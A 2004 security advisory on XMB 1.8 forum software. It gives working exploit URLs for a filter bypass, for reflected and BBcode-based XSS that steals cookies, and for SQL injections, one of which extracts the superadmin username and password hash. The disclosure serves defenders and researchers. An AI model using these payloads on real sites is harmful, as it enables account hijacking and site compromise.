{================================================================================} { [waraxe-2004-SA#004] } {================================================================================} { } { [ Multiple vulnerabilities in XMB 1.8 Partagium Final SP2 ] } { } {================================================================================} Author: Janek Vind "waraxe" Date: 23 Feb 2004 Location: Estonia, Tartu Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Extreme Messageboard aka XMB is very popular and feature rich forum, based on php and mysql. More information can be found on sites http://www.aventure-media.co.uk and http://www.xmbforum.com Vulnerabilities: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Multiple vulnerabilites have been found in XMB 1.8 Final SP2 version and possibly in older versions too. Any of them can lead to total compromise of the website, if affected account has SuperAdmin status. Remark: line references apply to build version "Build: 2003100518". Let's begin... 1. Security filter in header.php line 110 can be bypassed, if we partially or fully urlencode the critical parts in URI. Thanks to this vulnerability possible XSS holes can be easily exploited by GET request. Original code: // Checks for various variables in the URL, if any of them is found, script is halted $url2 = str_replace("subscriptions","",$url); $url_check = Array('status', 'xmbuser', 'xmbpw','script','javascript'); foreach ($url_check as $name) { if (eregi($name, $url2)){ exit(); } } Example of the filter bypass: http://localhost/xmb18sp2/forumdisplay.php?fid=1&foobar=<%73cript> 2. XSS in member.php example exploitation: http://localhost/xmb18sp2/member.php?action=viewpro&member=x<%73cript>alert(document.cookie); 3. XSS in u2uadmin.php example exploitation: http://localhost/xmb18sp2/u2uadmin.php?uid=x"><%73cript>alert(document.cookie); 4. XSS in editprofile.php example exploitation: http://localhost/xmb18sp2/editprofile.php?user=x"><%73cript>alert(document.cookie); 5. BBcode "[align=xxx][/align]" script injection vulnerability: example exploitation: text1 [align=center onmouseover=alert(document.cookie);] text2 [/align] This can be used everywhere, where bbcode is allowed - in profile's signature, u2u and in forum threads. Scripting will be triggered on mouseover event and will work with most browsers. 6. BBcode "[img=1x1][/img]" script injection vulnerabilty: example exploitation: text1 [img=1x1]javascript:alert(document.cookie);//gif[/img] text2 Ending "//gif" is needed for successful exploit, because bbcode implementation will check for it. This can be used everywhere, where bbcode is allowed - in profile's signature, u2u and in forum threads. Scripting will be triggered automatically, but exploit will work only with M$ Internet Explorer. ************************************************************************** Remark: Next vulnerabilities are sql injections. Cases 7,8,9 will offer injection possibility after "ORDER BY" keywords in sql query, therefore UNION method will not work. Only bad thing, attacker can make, is failing of the sql query and provoking of the sql error message. Because XMB forum so nicely will show sql error messages for all the world (this feature is implemented in mysql.php file), we can "convert" the sql injection to the exploitable XSS! ************************************************************************** 7. SQL injection in viewthread.php line 250: (NB!! successful only, if currently logged out) http://localhost/xmb18sp2/viewthread.php?tid=1&ppp=x example exploitation: http://localhost/xmb18sp2/viewthread.php?tid=1&ppp=x<%73cript>alert(document.cookie); 8. SQL injections in misc.php lines 387,391,395 http://localhost/xmb18sp2/misc.php?action=list&order=postnum&desc=x example exploitation: http://localhost/xmb18sp2/misc.php?action=list&order=postnum&desc=x<%73cript>alert(document.cookie); 9. SQL injections in forumdisplay.php lines 135,325 http://localhost/xmb18sp2/forumdisplay.php?fid=1&tpp=x http://localhost/xmb18sp2/forumdisplay.php?fid=1&ascdesc=x example exploitations: http://localhost/xmb18sp2/forumdisplay.php?fid=1&tpp=x<%73cript>alert(document.cookie); http://localhost/xmb18sp2/forumdisplay.php?fid=1&ascdesc=x<%73cript>alert(document.cookie); *********************** [really scary sql hole] *********************** 10. SQL injections in stats.php lines 89,96,103 http://localhost/xmb18sp2/stats.php?action=view&addon=x exploitations: getting username for superadmin: http://localhost/xmb18sp2/stats.php?action=view&addon=WHERE t.tid<0 UNION ALL SELECT NULL,NULL,username FROM xmb_members WHERE uid=1 LIMIT 1/* getting password's md5 hash for superadmin: http://localhost/xmb18sp2/stats.php?action=view&addon=WHERE t.tid<0 UNION ALL SELECT NULL,NULL,password FROM xmb_members WHERE uid=1 LIMIT 1/* *********************** [/really scary sql hole] ********************** Greetings: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Greetings goes to ulljobu, djzone, raider and to torufoorum staff! Special greets to marius and biacci! Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe@yahoo.com Janek Vind "waraxe" ---------------------------------- [ EOF ] ------------------------------------